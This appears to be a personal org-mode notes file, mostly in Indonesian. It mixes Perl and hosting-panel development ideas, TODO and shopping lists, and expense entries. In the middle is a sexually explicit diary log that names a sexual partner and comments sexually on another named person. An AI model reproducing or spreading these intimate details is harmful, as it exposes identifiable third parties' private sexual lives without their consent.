agar default engine tetap myisam\n\nQ puri denpasar hotel ada gym. Ada kolam? Jam buka? 5275542. Blk balai kartini\n\nDefhash: incompat ptoperty change: change of meaning, range of expected values become more narrow or incompatible with prev v.\n\nSp plugin interface and hooks, introduce v, when increasing v, allow little breakage by still allowing older v, until a certain time has passed.\n\nSp allow writing plugins in other langs\n\n2w Peritut goal of riap is to make writing api client library obsolete (in most cases). U just publish ur functions over riap and clients can discover, interact, ... With them. Standardized way to..\n\nRi arg spec key: sensitive (or password?). Contoh password. Efekny, periahs ga akan ngelog valuenya, disensor (selain tetep sensor berdasarkan arg name heuristics). Pericmd jg ga akan ngelog-any valuenya. Modul khusus utk sensor args (perinci-sub-sensorargs). Pericmd ga akan nerima lewat arg, tapi lewat prompt.\n\n2r spanish pronunc guide, ...\n\nDfpc: either a table or a map to indent stuffs, nested tables. Check if node is array or hash. If arrray, possible table or just a,b,c cell value if shorter (configurable threshold) otherwise if map possible table record.\nAaaaa:\n   Table\nBbbbb:\n    Table\nCccc:\n    Other value\n        ....\n\nL katalog program2 n karya2. pernah bikin chat server pake shared file di novell 3. Pernah bikin berbagai program x, y, z. Something like turbo vision for clipper. Program2 tsr. Utilities: set keyboard rate, vpark, tsr utk delay komp bikin pc lambat utk game2 macam digger... Library2? Sh_functions. Program2 olah buku, hyphenation utk indesign. Program utk pusri. Situs bayar pertama utk penerbit itb. Proyek total, toyota (...). Cms waktu satunet. Terjemahan how to become a hacker. Email. Stardict. With vb (color mixing desktop app). Program dp. With delphi...\n\nThought python docstring after func, why does it need to be string, why can't it be data struct. Makes rinci easier. Yaml inside docstring? Or interpret as python data? Or parse first line as summary, rest as decsription, unless prefixed with spmething =rinci metadata property\n\nSp rancang namespace config, single namespace tree (ambil contoh/compare eg cpaneplesk, apache, ...)\n\nSp use existing ldap server as useer login\n\nSp option to use remote catalog for most configuration, so it's mostly just credentials to catalog servers in spanel.ini\n\nGa gist/pastebin service #e\n\nGa imageshack service #e\n\nGa tinyurl service #e\n\nga spec for crowd sourced data, mis tabel warna\n\nGa Database warna, nama warna <-> rgb. Approximate match. Ada bahasa indonesia. User submission.\n\nGa warna: rgb <-> yuv/dll. #e\n\nIdea marking digital download with unique serial code, memaksa murid2 beli ebook\n\nS 8jul 2331 yudi bod bahenol bgt.. Ktmeu di gang. Gw liat dr blk. Tp dia kykny ga interested, jrg liat mata\n\nLatihan ekspresi kalo say stuffs\n\nPeriahs unknown args sudah dicek return 400 blum?\n\nRf render form spec using javascript, berguna mis jika harus rerender form with ajax (change language when in form page)\n\nSp Symbolic link bs pake , mis: chmod -R a+rX,ug-s,o-w . Ada juga X utk set if\n\nQ sell a biz\n\nSp api to basic unix/etc functionalities, mainly for convenicne. Eg. For unix users: list users (+tablefunc). List groups. List users belonging to a group (or some groups). Groups that have x members, ... This can avoid beginner admins from doing cut/grep/gail/piping... Because some simple tasks are notoriously difficult/needlesly scripty. Simpler, depended upon later.\n\nSp/netstat module: selalu check apa ada opsi -p atau -P for easily parsable output\n\nSp cobain instal cpanel from scratch\n\n2dl cpanel videos (inst, tut, ...)\n\nQ login unix, siapa yg cd ke home? Can I set home to /backup/local/backup-u-user? User can get out but can't get in again\n\nSp read/summarize smart reports\n\nIdea sp cmdline kasih tip of the day saat menjalankan. New release what's new/changes.\n\nIdea sp central rbl, spam, fail2ban bl,\n\nidea sp store (host) company's blacklist,\n\n2l liana ngajak bermalam, (jul awal)\n\nE 2jul refill sav 1000.\n\nE 3jul angk 3 travel 75 vaksin suster 250 angk suster 20, vj500 ii ayeng, 18 skrimin., 7park, xx blanja ace, 2 penghapus, xx blanja jogja\n\nQ strata title?\n\nE 2jul 125bensin 17snack 500vaksin (1000refillsav) 7park\n\nPl rsybak gather some info on backup: num files, dirs, byte, time, load, num of backups process running, start n stop times. Give prediction eta for next backup from last backups. Also do this for other regular processes (stats, user stats, backup db, ...) Smua dikasih eta n progress report.\n\nSp design note for notification system (hrs mengizinkan custom/3rd party notification medium like sms, twitter, etc). Design goals? Digest/queueing/remove duplicates. Contoh liat kde, syslog, ...\n\nSp Idea 3rd party plugin reminder by sms\n\nQ books wut/jokes theory\n\nQ mama: meaning in life\n\nSp hook on uswername change, adjust path in crontab\n\nQ book how to g even\n\nQ theme park design book etc\n\nQ spt apa 0.7 hip ratio? Cowo 0.9? Ukuran bust.\n\n2l bassura city, 9 tower , 2 tower rusunami, 6ha, tahap 1 dibgn 2 tower dl ada kolam rnang, 25lt 40unit/lt,\n\nIdea mv nenek/kakek adegan spt anak2 abg, pacaran\n\n2l bernaridho tinggal kalibata rumh tp punya kaliata city yg udah disewain. Adik mgkn mau beli? Kantor tebet, skr lagi devlop bookstore cintabuku.com dg bekas org penerbit (transaction based) n datu lg mpbile. Br beli 2 macbook 2 ipad 1 ipod touch. Bb. Visit 27jun\n\nQ rekam suara pake hp aja?\n\nQ bp monitor wrist watch akurat?\n\nQ books on advanced linguistic skills, or skills of highly linguistic people eg talk show hosts, debator, etc. Highly linguistic careers. Multilingual topic also ok.\n\nDevel::size against datetime object\n\nPericmd print objects as (special) hash, accept object from hash. Just like javascript.\n\nDevel::endstats count pod n code separately (#e)\n\nQ books on brain\n\nQ effect of various level of head bumps on brain\n\nQ long term shaking effect on peoplw's brain\n\nPl module to edit/write file + backup\n\nPericmd n api server, Output csv n xls\n\nSp idea phpmyadmin/pg for root n reseller\n\nQ reseller system in cpanel\n\nQ why atm room cold\n\nQ should we give wives monthly sal/allw\n\nNewer edition of businomics\n\nQ some city climat books, prediction ke depan, pbedaan suhu bdg utara n slatan lebih extremekah?\n\nQ org2 lebih milih bdg utara/selatan krn...\n\nQ what's the diff betwwen lucid dreaming and just daydreaming, if lucid dr is knowing ure dreaming knoqing its unreal.\n\nQ business ratios rule of thumbs. For budgeting program\n\nQ sp best / abstract monitoring framewor. I don't want to have to endure pain when moving from nagios, rrdtool, statsd/collectd, ...\n\n2dl networking books, buku airline biz, buku data center biz, isp/operator/telco biz, other biz.\n\n2co lastcalc\n\n2co anorm (scala sql lib)\n\n2co datatables jquery plugin\n\nGa show table json as datatables\n\nSp percepat list accounts, too slow. Maybe ajax to complete the fields after we show the page.\n\n2co R1 for cpanel backup\n\nSp wishlist sublogin. Kita mau ngaish user x akses ke login spanel tp hanya utk liat statistik domain x. Atau hanya utk view dan edit akun emailny sendiri. Atau manage 1 website aja (file manager, subd manager, webapp installer, ...)\n\nSp idea push updates, debian util? hrs pacepet2 dg hacker tiap kali ada kernel local exploit. Hitungan menit/detik. Opsi utk langsung kunci server, no cgi, no shell login, no ssh access, ...\n\nQ managment training program (career path for support)\n\nSp spaneld for cpanel, ad modul cpanel shared hosting utk file management, crete subdomain domain dll. Bisa di remote dari central cpanel. Diopen source?? Biar adoption lbh cpat. Dan ada free license spanel utk pemilik cpanel. Provide a public login server\n\nSp automatically block forum poster mybb from mysql, joomla, wp, ... Tanpa harus pasang plugin\n\nQ zh improv read speed. better to switch often or long stay exclusively amuch apossble with chinese text. My exp. Twice a day reading rss. Flash read. Tp klo 1-2 hari ga baca, ...\n\nSp sutomate migation, user boleh list target server (akses k catalog server? Be caref) lalu req k server itu utk migrasi. Admin server target n source perlu approve dl (utk billing, whatever). Server bs jg diset allow, atau pake sistem voucher. Tp bs scheduled. Security concerns? Buang semua setuid root, scan malware, ...\n\nSp enable/disable user stats per user.\n* 00-2t\nzh 1008 7jan 2015 morn er6 f f fer f kurs, amt9, sat5 (id hate going back to m evrydy, w prn twit yest)\nzh 1441 7jan v twit mus abng. shit er jlk.\nzh 24des 1330 kos. abs bc cdws fmdm bsd jd ngck2 (sblmny pg2 jd dah gsk2). er ckp bgs lah. crot sd k bahu.\nzh 25des 0430 kos gwt nih mulai ngck lg. tp not ngck tp nyirian. er bgs.\nzh 25des 1655 nyirian. er bgs. abs kcg mmg agak ssh ya krs lg. f n v mulai 50 50 co ce\nzzh 24nov 2014 l ubud htl 1630 ampr g bs, f. fck klr-.\nzzh 25nov l ubud htl 0130 hrn liat l msg brs, fck bntr misp, lalu wot, lalu mau cb doggi tp jd lmbk krn blm msk2\nzzh 26nov l ubud htl 0400 bgn krs, gw nany l m difck g. f mis, n kaki l d ataa. g amp klr 70%.\nzzh 27nov 715 l ubud htl, gw bgn j4 n erec lm bkali2, tp br j7 zzh init l, sck bntr tp gw pngn fck. klr dlm finally.\nzzh pkl 14nov 1030 kurs h2 m1 ...\nn kurs ist gur agm smp, zidan smp ragunan, otg kab pekalongan, ikip, ngaj bpk kelas senja hampir, gw crita: >2M. ww blg klo bkn krn dia dah jd gembl/apa.\nzh 2 sep 2014 12:23 kos jkt v vid=danji\nzh 2 sep 14:57 kos jkt f wong solo 25 mus\nzh 3 sep 08:56 kos jkt f wong solo 25 mus bf\nzh 3 sep 10:47 kos jkt v jap dad f:hk dude\nzh 3 sep 10:57-11:18 kos jkt v jap dad f:ws\nzh 4 sep 09:29 kos jkt f:ktl kursin\nzh 5 sep 10:49 kos jkt f:ktl kursin\nzh 27agu 1126 jkt kos v goog indianbb\nzh 27agu 2014 0031 jkt kos v twit f hasto\nZh 27agu 0920 jkt kos v twit f akbar melayubi\nzzh 22agu 2000 fer mhrj dikc him=kck \xE5\x85\x88\nzzh 22agu 2210 fer mhrj kck him=kck \xE5\x85\x88\nzzh 23agu 0645 fer mhrj kck him=kck \xE5\x85\x88\nzh 12agu 0054 kos jkt v s8 vid\nzh 12aguv1027 kos jkt v twit\nzh 13agu 1007 kos jkt v g mu bb\nzh 13agu 0552 kos jkt v mj mu\nZh 13agu 0637 kos jkt v mj mu b\nZh 13agu 0852 kos jkt v goog f fer\nZh 13agu 1150 kos jkt v s8va\nZh 14agu 0641 kos jkt. Speed ia the key.\nZh 15agu 0841 kos jkt. F akb reza\nZh 16agu 0032 kos jkt v twit mu\nZzh 19agu rmh lia o- (karena ultah, gw bela2in ml, kalo gak salah berhasil ngefuck, tapi gw gak ngecrot, akhirnya ngocok sendiri?)\nZh 21agu 0812 kos jkt v twit vino putra, pp ganda\nZh 21agu 1026 kos jkt f rafael fer. Pump slowl\nZh 21agu 1146 kos jkt v bb vino putra\nZh 25jul 2014 0751 kos v goog kol\nZh 25jul 1017  kos twit kol\nZh 27jul 1620 kos twit knt\n- [2014-07-29 Sel] 21:30 ml liana setelah at least 3 bulan lebih, tadinya susah\n  berdiri, baru setelah nyolok2 vagina liana dg tangan dan dia udah mulai\n  keenakan dan menghimpit2xkan vaginanya, gw jadi kenceng dan ngefuck dia maybe\n  5 menit, trus setelah kocok pake tangan dia minta berenti (sempet gw kocok\n  terus), katanya stop2x, dia udah orgasme bbrp x?\nZzh 31jul 0745 l jwm\nZh 5agu 2340 kos aft tlp b12am v twit\nZh 6agu 0050 kos v twit f kurs\nZh 6agu 0730 kos v twit\nZh 6agu 0820 kos v twit\nZh 7agu 0730 kos v twit\nZh 7agu 0922 kos v goog\nZh 7agu 1125 kos v twit\nZh 7agu 1707 kos v twit f . Sp 60-90. \xE4\xB8\x8D\xE8\xA6\x81\xE8\xAE\xA9\xE9\x80\x9F\xE5\xBA\xA6\xE5\xA4\xAA\xE5\xBF\xAB\xE3\x80\x82\xE6\xAF\x94\xE8\xBE\x83\xE6\xBC\xAB\xE4\xBC\x9A\xE8\xAE\xA9\xE6\x88\x91\xE4\xBB\xAC\xE7\x9A\x84\xE5\xBF\x83\xE8\xB7\xB3\xE9\x80\x9F\xE5\xBA\xA6\xE6\x8F\x90\xE5\x8D\x87 lbh hot n satsfd. \xE5\xBF\x83\xE7\x8E\x87\xE5\xBF\x85\xE8\xBE\xBE\xE5\x88\xB0\xE6\x9F\x90\xE4\xB8\xAA\xE7\xA8\x8B\xE5\xBA\xA6\xE6\x89\x8D\xE8\x83\xBD\xE6\x84\x9F\xE5\x88\xB0\xE6\xBB\xA1\xE6\x84\x8F\nZh 9jul 0703 kos v twit goog dad\nZh 9jul 0908 kos v goog dad\nZh 9jul 1255 kos v story ml w/o taking off cd\nZh 9jul 1448 kos v story s8 bpk\nZh 9jul 1629 kos v story\nZh 9jul 1836 kos v mj musc\nZh 9jul 2031 kos v story s8 bpk\nZh 9jul 2328 kos v story s8\nZh 10jul 0942 kos v story pol\nZh 11jul 0700 kos f ws manl\nZh 16jul 0641 kos v twit musc\nZh 16jul 0803 kos f parura\nZh 16jul 0903 kos f goodl g (l metro)\nZh 17jul 0912 kos v goog yt bb\nZh 18jul 0746 kos v twit f kurs\nZh 24jul 0720 kos v twit musc kol\n* 0NOW [0/0]\n** unorganized\n- spanel: update wordpress (ada critical xss)\n- mkey: cek lagi apa ada slow query yg bisa kita percepat\n- finish first version of borang\n  + add option to periwrap to generate arg validation code that validate &\n    return result for all args instead of returning after the first failure\n  + pericmd*: display detailed errors\n  + borang: display error messages\n  + borang: use form.summary over summary, use form.caption over caption first\n  + periswrap: add special argument for confirmation field (e.g.\n    -confirm.arg/name)\n  + periswrap: support -action => check_arg, for example:\n\n if (\$args{-action} && \$args{-action} eq 'check_arg') { goto VALIDATE_ARG_\$arg }\n VALIDATE_ARG_arg1:\n if (exists \$args{arg1}) {\n     ...\n }\n if (check arg) { return 200 or 400 }\n VALIDATE_ARG_arg2:\n if (exists \$args{arg1}) {\n     ...\n }\n if (check arg) { return 200 or 400 }\n ...\n\n  + try creating some common forms:\n    + register simple\n    + register complex + captcha\n    + login\n    + contact us/guestbook\n    + edit file/message/email body\n    + comment form (with quote? like in reddit)\n- borang: generate captcha?\n- borang: create_confirm_field\n- borang: html: select widget\n  + guess size text widget dari min_len, max_len\n  + guess ...\n- borang: html: generate validation js code\n- borang: demo completion ajax\n- peris2cliospec: submeta's tags inherit tags\n  add support submeta di peri2usage (belum pakai periga-argv?)\n  add support submeta di peri2doc (belum pakai periga-argv?)\n  add support submeta di peri2pod (belum pakai periga-argv?)\n- 2co: rubyrep (tm dalam ruby untuk postgresql 2-phase commit)\n- common api utk transaksi ledger yang di file ledger, bank statement, dan\n  gudangapi nanti, memang lowest common denominator sih.\n- finish first version of config::tree\n  + ct::iod\n- create config (tree) schema\n- generate pod section CONFIGURATION from config schema\n- q gimana kill proses yang ngehang karena baca disk/partition dan error, kill\n  -9 juga gak bisa, ngehang aja terus. harus restart os. sucks.\n- convert data finance kmymoney (2006-2007) dan gnucash gw (2008-2009)\n- refactor cpanlists-srv, banyak duplicated code\n- update cpanlists-client\n- blog about cpanlists\n- borang\n- (peri2doc) refactor: rapiin + supaya bisa bikin mockup dokumentasi fungsi\n  gudangapi.\n  + Perinci::Sub::To::Doc->new (supaya bisa cache hasil\n    gen_getopt_long_opt_spec_from_meta()\n  + cli_usage_str: SCRIPTNAME [option] <optpos0> [optpos1] ...\n  + func_usage_str: FUNCNAME(%args) -> int, FUNCNAME(\\%args) -> int,\n    FUNCNAME(\$optpo0, \@greedypos1?)\n  + display func arg/result as perl dump\n  + display func result as pericmd-lite text output\n- posting masalah lutut ke running forums (reddit?)\n- lihat iklan sekitar kebon manggu\n- posting iklan kebon manggu 115\n* 2buy [11/34]\n** TODO [2015-02-16 Sen] 2buy: mouse utk di rumah\n- mouse kecil orange udah gak bener scroll wheel-nya, dan ga bagus/gak stabil\n  kliknya. in general gak enakeun, mending yang gede sekalian.\n- mouse kadang ketinggalan di kos\n** TODO [2015-02-11 Wed] 2buy: pet: australian shepherd dog\n** TODO [2015-01-28 Wed] 2buy: next eyeglasses: ic berlin, mykita (\"fork\" ic berlin), lindberg (merek lama, ada yg ringan banget pake titanium 1,9g; sementara auf dem flusse gw 15g)\n** TODO 2buy: rectal thermo for dog (termo biasa aja)\n** TODO [2015-01-28 Wed] 2buy: pasta gigi untuk anjing (rasa ayam)      :pet:\n** TODO [2015-01-28 Wed] 2buy: hand tooth brush utk anjing              :pet:\n** WISHLIST [2015-01-13 Tue] 2buy: jawbone up3\n- lebih canggih daripada fitbit charge hr (tapi fitbit bisa log calorie intake\n  dg scan barcode, walaupun utk makanan2x di indo kayaknya gak ada deh database\n  produknya)\n- bisa monitor hr 24/7, liat kelainan pola (gak cuma liat bpm aja)\n- bisa log sleep deep sleep vs REM state (sleep tracking)\n- dsb\n- harga \$179.99 di amrik, baru dirilis\n- tapi: screenless? (demi irit batere, up to 7 days katanya)\n** TODO [2014-12-03 Wed] 2buy: books: buku2x psikologi kayaknya belum punya di koleksi/perpus gw?\n** TODO [2014-12-27 Sab] 2buy: earphone\n** TODO [2014-06-29 Sun] 2buy: kotak uang buat petty cash di rumah setrawangi\n** TODO [2014-05-21 Wed] 2buy: buku2x tentang sense of humor\n- kalo gw bandingin sense of humor (iklan/commercial lucu) jepang dan barat tuh\n  beda banget ya, gw malah gak merasa lucu/meh dengan iklan2x barat karena udah\n  ketauan tipenya (mengandalkan seks, tipikal cewe harus seksi dan bikin mata\n  cwo terbelalak, senjata2x/rumus2xnya itu udah keliatan, mungkin karena orang\n  barat pakem2 sosialnya udah terlalu jelas dan homogen?). kalo gak parodi artis\n  terkenal, atau parodi sebuah situasi yang amat common (mis prom night,\n  dating), awkward social moments. sementara iklan2x jepang gw liat lebih\n  absurd, lebih surreal, porsi seksnya lebih dikit, bermainnya makhluk2x atau\n  kartun2x aneh, banyak tarian2x, lebih in your face, bikin gw selalu merespon\n  dg wtf, wtf? ada banyak wtf moments :)\n** TODO [2014-10-07 Tue] 2buy: blood pressure monitor di setrawangi\n** TODO [2013-12-18 Wed] 2buy: next laptop\n- [2012-06-12 Tue] zenbook prime ux31a (13\", resolusi 1920x1080, i7 1.9Ghz, 4GB\n  RAM, 256GB SSD). penerus ux31 (prosesor naik dari i5, SSD dobel dari 128GB,\n  ram sama, resolusi naik dikit dari 1600x900). UPDATE [2014-01-01 ] gak nemu di\n  bec saat nyari2x pengganti sementara zenbook gw yg lagi diservis.\n- [2013-12-18 Wed] selain asus zenbook terbaru (8GB, 256GB), kini ada alternatif\n  dg spek serupa, liat di koran PR iklannya: lenovo yoga 2 pro (13.3\",\n  ultrabook/hybrid/bisa jadi tablet juga, core i7-4500, 4-8GB, 256-512GB SSD,\n  \$1199 dijual 15-16jt-an di indo, ada versi core-i3 \$949 dan i5 \$1099, ada\n  warna perak dan oranye, katanya bisa 9 jam? 1920x1080 s.d. 3200x1800). saat\n  ini ada isu2x seperti touch scrolling gak bekerja, hibernate gak jalan, yellow\n  color. masih mending zenbook kayaknya kalo gitu saat ini.\n- UPDATE [2014-02-08 Sat] alternatif lain laptop+ssd adalah thinkpad X1C (mahal\n  20jt+ dan keyboardnya aneh), T430U (mahal juga). akhirnya gw beli dell vostro\n  5470 dulu. keyboardnya enak tapi karena pake keyboard jadi masih kerasa\n  vibrate, tapi lama2x tolerate juga.\n** TODO [2013-11-13 Wed] 2buy: humidifier (lagi) buat di kantor\n- yang di kantor saat ini (advan) travo-nya entah ke mana pas pindahan lt 10,\n  masih ada di gudang, gw udah nyari [2013-11-13 Wed] cukup thorough gak nemu\n  (tapi gw nemu baju2x gw sih).\n** TODO [2013-11-13 Wed] 2buy: humidifier buat di rumah setrawangi\n** TODO [2013-11-06 Wed] 2buy: pelindung kartu (kayak kartu atm)\n- minggu lalu gw ganti kartu atm di bca karena strip magnetiknya udah baret2x,\n  di dompet, jadi ditolak sama banyak atm non-tunai. kena 10rb.\n** TODO [2013-08-26 Sen] 2buy: tas pinggang buat di jakarta\n** TODO [2013-08-26 Sen] 2buy: beban kaki buat mama\n- ada satu pasang yg dulu gw beli, warna biru, ke mana ya?\n** TODO [2013-01-17 Thu] 2buy: more short sleeve shirts (biar gak usah roll)\n- jangan lupa harus yang berkantung kerah, i hate pocketless.\n** TODO [2013-01-17 Thu] 2buy: benang kuat\n** TODO [2013-01-17 Thu] 2buy: gunting di tas\n** TODO [2013-01-17 Thu] 2buy: kaos kaki dan sarung tangan karet utk lock moisture\n* 2co [3/118]\n** TODO [2011-12-23 Fri] 2co: knockout.js & single-page apps (bikin yang kayak gmail)\nkeywords: declarative UI\n\ni love these kinds of stuffs, declarative, makes things clearer, separate UI so\ni can focus on logic & API.\n\n- alternatif: angularjs, batmanjs\n\n** TODO [2011-12-23 Fri] 2co: kendo framework (lebih lengkap nih)\nlebih menonjolkan dataviz, mobile, widgets (date picker and all that),\nautocomplete, grid, dll. jadi enak, gw gak perlu develop Borang kali ya, cukup\npake ini aja dan spew out JSON aoh from the server (jadi yang penting gw focus\non Sah dulu aja utk schema, sisanya UI stuffs yang memang i hate bisa pake\nlibrary lain). yipee. tapi: komersil, utk yang free hanya boleh dipake utk\nproyek yang GPL-compatible. hm...\n\nalternatif: knockout.\n** TODO [2015-01-14 Wed] 2co: singingsuccess.com (also youtube: brett manning)\n- sama seperti mariah carey yang 5 oktaf (G3 s.d. Bb7) si brett manning ini juga\n  bisa 5 oktaf (7 register, sampe whistle), dia jualan training vokal dan\n  mengklaim \"increase your vocal range 1 octave guaranteed\" :p\n** TODO [2014-08-27 Wed] 2co: paycheckrecords.com\n** TODO [2014-08-27 Wed] 2co jotform.com\n** TODO [2014-08-27 Wed] 2co datamash (cli statistics)\n** TODO [2014-08-27 Wed] 2co & 2use: cpan::changes::group::dependencies::stats\n** DONE [2015-01-05 Sen] 2co: fitur RANDOM_DELAY di cron\n- log ::\n  + [2015-01-05 Sen] dimention di hackernews, tapi gw search manpages gak ada.\n    so, not supported (at least in debian?)\n** TODO [2014-12-03 Wed] 2co: n 2use in spanel n mkey: xtrabackup\n** TODO [2014-12-03 Wed] 2co: wemux\n** TODO [2014-12-03 Wed] 2co: nauniq: add faq about last occurence, use 'tac' or File::ReadBackwards.\n** TODO [2014-12-03 Wed] 2co: httpswitch board ff_chrome unpacking2co orgmode column view\n** TODO [2014-12-03 Wed] 2co: orgmode agenda view\n** TODO [2014-12-03 Wed] 2co: 'tabbed' utility to make something tabbed under x\n** TODO [2014-12-03 Wed] 2co: bup (backup dg diff dan dedup, katanya fast n space efficient, tp ga tau gmn speed recovernya).\n** TODO [2014-12-03 Wed] 2co/2buy: microsoft natural keyboard\n** TODO [2014-12-19 Jum] 2co: units (cli tool), pv, multitail\n** TODO [2012-02-05 Sun] 2co: thermal imaging goggles utk melihat airflow datacenter  :datacenter:\n** TODO [2014-12-19 Jum] 2co: emacs midniht commander, sunrise commander\n** TODO [2014-12-19 Jum] 2co: powertop, atop, glances, rsyncrypto, mtr (nextgen traceroute), nethogs, netpipes, aria2 (spt rtorrent), rutorrent\n- log ::\n  + [2015-03-13 Fri] checked out aria2, command line tapi belum ada curses\n    interface.\n** TODO [2014-12-19 Jum] 2co: mpv\n** TODO [2014-12-19 Jum] 2co: opera 26 for linux\n** TODO 2co: info obat2x china:  an gong, \xE5\xAE\x9D\xE8\x82\xA4\xE7\x81\xB5,\xE7\x86\x8A\xE8\x83\x86\xE7\xB2\x89,\xE9\x98\xB3\xE6\x98\xA5\xE7\x8E\x89\xE5\xA4\x9C,\xE5\xAE\x9D\xE6\xA0\x91\xE5\xA0\x82,\xE9\xAA\xA8\xE8\x86\x8F ...\n** TODO 2co: Daemon::Control\n** TODO 2co: kexec\n** TODO [2012-06-15 Fri] 2co: pinto (daripada carton)\n** TODO [2012-06-13 Wed] 2co: sar (unix command)\n** TODO [2012-05-12 Sat] 2co: thrift[db]\n** TODO 2co: edac-util (paket debian)\n** TODO 2co: namebench\n** TODO 2co: signup ke kaspay (kalo akunweb dah jalan aja)\n** TODO 2co: App::TimeTracker\n** TODO 2co: klikbca's KlikPay (saat ini merchant masih terlalu sedikit tapi, baru 5)\n** TODO 2co: legit\n** TODO 2co: libconfig9\n** TODO 2co: mysql-utilities\n** TODO [2012-08-08 Wed] 2co: smartdict (ruby)\n** TODO [2012-08-08 Wed] 2co: pv, bup\n** TODO [2012-08-08 Wed] 2co: topaz, nmon analyzer\n** TODO [2012-07-07 Sat] 2co: rbash\n** TODO [2012-07-07 Sat] 2co: cryopid\n** TODO [2012-08-08 Wed] 2co: dnsmasq\n** TODO [2012-08-08 Wed] 2co: knowyourmeme.com (coba cari 'Whatever 101')\n** TODO [2012-08-08 Wed] 2co: collectl? collectd?\n** TODO [2012-08-08 Wed] 2co: infothread.org\n** TODO [2012-08-08 Wed] 2co: vocabolaudio.com (learn italian)\n- log ::\n  + [2015-01-04 Min] cancel, lost interest belajar italian, pending dulu entah\n    kapan dicoba lagi. french aja masih keteteran.\n** TODO [2012-08-08 Wed] 2co: pac files, foxy proxy, wpad\n** TODO 2co: naxsi\n** TODO 2co: statsd (ada perl module-nya juga)\n** TODO 2co: visual.ly\n** TODO 2co: logaholic (alternatif awstats, php-based)\n** TODO 2co: ratemynetwork.com\n** TODO [2012-06-18 Mon] 2co: budgetable.com\n** TODO [2012-06-18 Mon] 2co: domainr\n** TODO [2012-08-11 Sat] 2co: M-x re-builder for emacs (visual debugger)\n** TODO [2014-09-21 Sun] 2co: cpan: LMDB_File\n** TODO [2014-04-17 Thu] 2co: cpan: Text::Handlebars & handlebarsjs.com*\n** TODO [2014-04-17 Thu] 2co: cpan: Mojolicious::Plugin::Toto\nlangsung bisa bikin navigasi a la Bootstrap dengan simpel dan cepat.\nhttps://metacpan.org/pod/Mojolicious::Plugin::Toto\nhttp://blogs.perl.org/users/byterock/2014/04/gluu-fer-the-weebb-part-1.html\n** TODO [2014-05-02 Jum] 2co: send sms using google voice (ada modul perlnya by CJM)\n** TODO [2012-12-27 Thu] 2co: rex (saingan ansible, perl-based)\n** TODO [2012-11-22 Thu] 2co: fping (fast ping, ping hosts in parallel)\n** TODO [2014-12-15 Sen] 2co: docker (cobain install beberapa dockerfiles etc)\n** TODO [2014-12-05 Fri] 2co: modul perl: Web::Dash\n** TODO [2014-09-21 Sun] 2co: debian packages games-toy, games-education, games-programming\n** TODO [2014-05-28 Wed] 2co: thread: ask hn: which paid apps & services do you pay for?\n- utk mencari ide produk2x apa yang laku terjual (banyaknya pertama gw liat itu\n  hosting, seperti github dan vps [digitalocean, linode])\n- liat juga thread sejenis di forum lain, karena komunitas HN terlalu teknis.\n  contoh: reddit, kaskus?, wht? (hosting lah ya berarti produknya), webmaster,\n  general tech forums.\n** TODO [2014-05-28 Wed] 2co: library: handlebars.js\n** TODO [2014-04-04 Fri] 2co: sysdig\n- butuh kernel module, tapi sangat gampang dipake, seperti strace + top +\n  tcpdump + netstat + in one. ke depannya mungkin bisa banyak dipake.\n** TODO [2014-04-04 Fri] 2co: TheEye (TAP-based monitoring system), utk third-party-smoker?\n** TODO [2014-04-07 Mon] 2co: spiped (seperti ssh tunnel tapi lebih reliable karena pake koneksi terpisah2x utk tiap koneksi)\n** TODO [2014-03-28 Fri] 2co: sistem plugin module::pluggable, bandingkan dengan sistem sederhana yang ingin gw buat\nsistem sederhana gw, menggunakan hanya modules & packages. mis aplikasi\nYour::App, plugin is just a perl package. daftar plugin entah di Your::AppX atau\nYour::App::Plugin:: atau whatever. lalu, utk ngeload plugin yg ingin diaktifkan,\ncukup gunakan use/require. utk ngelist daftar plugin yg tersedia (aktif/gak\naktif), cukup gunakan Module::List::list_modules(). utk ngelist daftar plugin yg\naktif, gunakan list_packages() (yang sudah terload di memori). simpel kan.\n** TODO [2014-03-04 Tue] 2co: kkovacs.eu/cool-but-obscure-unix-tools/\n- mentioned juga di HN\n** TODO [2014-02-01 Sat] 2co: apachetop\n** TODO [2014-02-01 Sat] 2co: iotop\n** TODO [2014-02-01 Sat] 2co: glances\n** TODO [2014-01-29 Wed] 2co: publicsuffix.org (Mozilla::PublicSuffix)\n- semua akhiran yang bisa kita register, mis: co.uk, .id, .or.id\n** TODO [2014-01-29 Wed] 2co: malwaredomainslist.com (ada perl api module nya juga kalo gak salah)\n** TODO [2014-01-21 Tue] 2co: cari teman2x indo di goodreads\n- kemaren gw liat ada yang ngereview buku seinfeld (seinlanguage), ada penggemar\n  seinfeld juga. cari teman2x sehobi/seminat.\n- log:\n  + [2014-02-08 Sat] kirim message sama yang ngereview seinlanguage.\n** TODO [2014-01-21 Tue] 2co: buku by gerald durell (interesting/enjoyable writing, humor/wit)\n** TODO [2014-01-21 Tue] 2co: buku: into the heart of borneo\n** TODO [2014-01-16 Thu] 2co: memory palace / method of loci\n- cara mengingat\n** TODO [2014-01-16 Thu] 2co: book: moonwalking with einstein\n- tentang orang2x yang melatih memori utk kompetisi\n** TODO [2014-01-16 Thu] 2co: ddg.com/goodies\n- cek ada yang bisa dimasukin ke proyek gudangapi gak? ada banyak di situ:\n  convert color codes, lorem ipsum text, generate random password, etc.\n** TODO [2014-01-16 Thu] 2co: emacs ses-mode, org spreadsheet, dismal mode\n** TODO [2014-01-16 Thu] 2co: http://www.channel4.com/programmes/\n** TODO [2013-12-29 Min] 2co: book: thinking fast & slow, daniel kahneman\n** TODO [2013-12-29 Min] 2co: book: sam harris: the end of faith\n** TODO [2013-12-29 Min] 2co: book: sam harris: lying (essay on how honesty is really the best policy)\n** TODO [2013-12-29 Min] 2co: book: the trauma of everyday life (mengerti emosi diri sendiri)\n** TODO [2013-12-29 Min] 2co: book: the power of habit\n** TODO [2013-12-29 Min] 2co: book: the origin of wealth\n** TODO [2013-12-28 Sab] 2co: mona ratuliu, parenthink, sarah sechan talkshow\n** TODO [2013-11-27 Rab] 2co: site: hgraph.org (personal health data as infographics)\n** DONE [2013-11-06 Rab] 2co: perl: Tickit\n- [2013-11-06 Wed] bisa bikin multiple window, console/scroll kayak IRC client\n  (di baris paling bawah kita ngetik). tapi saat ini masih rada lambat utk\n  animasi dan can easily 100% cpu (nanti bakal pada dimove ke C katanya).\n  thankfully gw belon ada niat bikin2x animasi. cool, bisa aware terhadap window\n  resize event, bisa specify percentages (lihat demo clock di\n  Tickit-SegmentedDisplay). tree widgetnya cantik dan works like a charm (panah\n  page-up/dn, kanan, kiri, atas, bawah work).\n** TODO [2013-11-06 Rab] 2co: perl: Inline::Python\n- cobain utk mengakses pygments atau library 